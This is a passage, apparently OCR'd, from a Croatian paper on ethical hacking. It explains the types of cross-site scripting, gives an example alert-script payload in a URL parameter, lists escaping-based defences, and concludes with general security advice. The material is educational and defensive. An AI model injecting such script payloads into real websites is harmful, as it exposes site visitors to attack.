se izvr8ava na klijentskoj strani.
Postoje tri vrste XSS-a:

= stored XSS — pohranjuje se u bazu kako bi se javascript kod izvrsio kada bilo
koji klijent posjeti tu stranicu

= reflected XSS — javascript kod koji se izvrSava kada klijent posjeti specifiCan
URL

= DOM based XSS - javascript kod koji se izvrSava na klijentskoj strani bez

potrebe za komunikacijom s Web serverom
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Stored XSS —javascript kod ubacuje se u bazu podataka ili Web aplikaciju. Kod je
izvrSen kada je Web stranica posjeCena. Na primjer ako posjetimo blog stranicu i
mozemo napisati komentar taj komentar je prikazan svakome tko posjeti tu stranicu
(komentar je spremljen u bazu podataka). Ako umjesto komentara upiSemo javascript
kod taj kod Ce se prikazati svakom klijentu posjeti tu stranicu (kada je dohvacen taj

komentar).

Reflected XSS — ako postoji URL s parametrima mozemo izvrsiti reflected XSS. Na
primjer ako postoji Web stranica koja u svom URL-u sadrzi parametar, npr. 2name=ime
umjesto vrijednosti parametra name mozemo napisati javascript kod (npr.

<script>alert(“XSS*)</script>) koji Ce se izvrsiti kada meta posjeti modificirani URL.

Kako bi se zastitili od ovakvih napada kao programer trebali bi filtrirat podatke (ili
izmjeniti) koje korisnik moze unesti u element za unos teksta (npr. znakovi: &, <, >, ,
', /). Te znakove mozemo zamijeniti njihovim ekvivalentima u html-u. Kao korisnik za
najvecu sigurnost mozemo iskljuciti javascript u pretrazivacu prilikom ucitavanja Web

stranica.
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6. ZakljuCak

Hakerom se €esto smatraju osobe koje krSe zakon koristec¢i racunalo, no vidjeli
smo da postoje crni (eng. black hat), bijeli (eng.white hat) i sivi (eng.gray hat) hakeri
koji nemaju isti cil. Kada govorimo o etiCkom hakiranju mislimo na provodenje
aktivnosti koje izvrSava bijeli haker. Velike i male tvrtke unajmljuju bijele hakere da
provedu penetracijsko testiranje sustava koristeéi pritom razne metode i alate za
pronalazak ranjivosti sustava u svrhu prevencije istih. Penetracijsko testiranje trebalo
bi izvoditi periodicki i nakon novo instaliranih programa. Ako novo instalirani program

ima sigurnosti propust, sustav nije siguran.

Vidjeli smo kako funkcionira mreza i koje su to metode koje hakeri koriste. U sluc¢aju
sumnje da postoji napad prikazali smo kako detektirati sumnjive aktivnosti i koje su
najbolje prakse zastite za prevenciju napada. Preporucuje se izbjegavati otvorene ili
sumnjive WIiFi mreze, provjeriti adresu na Kkoju poveznica vodi, te prije
preuzimanja/otvaranja datoteke razmisliti radi li se o malicioznoj datoteci. Kako bi se
poboljSala sigurnost sustava, sustav i antivirusne programe potrebno je redovito
azurirati. Na Internetu svakodnevno dajemo razne osobne informacije koje hakeri
mogu iskoristiti u svrhu provodenja napada. Za povecanje sigurnosti potrebno je
koristiti razne racCune, lozinke i dvostruku autorizaciju tamo gdje je moguce.
Preporucljivo je koristiti VPN i HTTPS Everywhere dodatak za pretraziva€. Kako bi
osigurali svjetsku sigurnost vazno je svoje vjestine i znanje o sigurnosti koristiti i Siriti

za dobrobit drustva.
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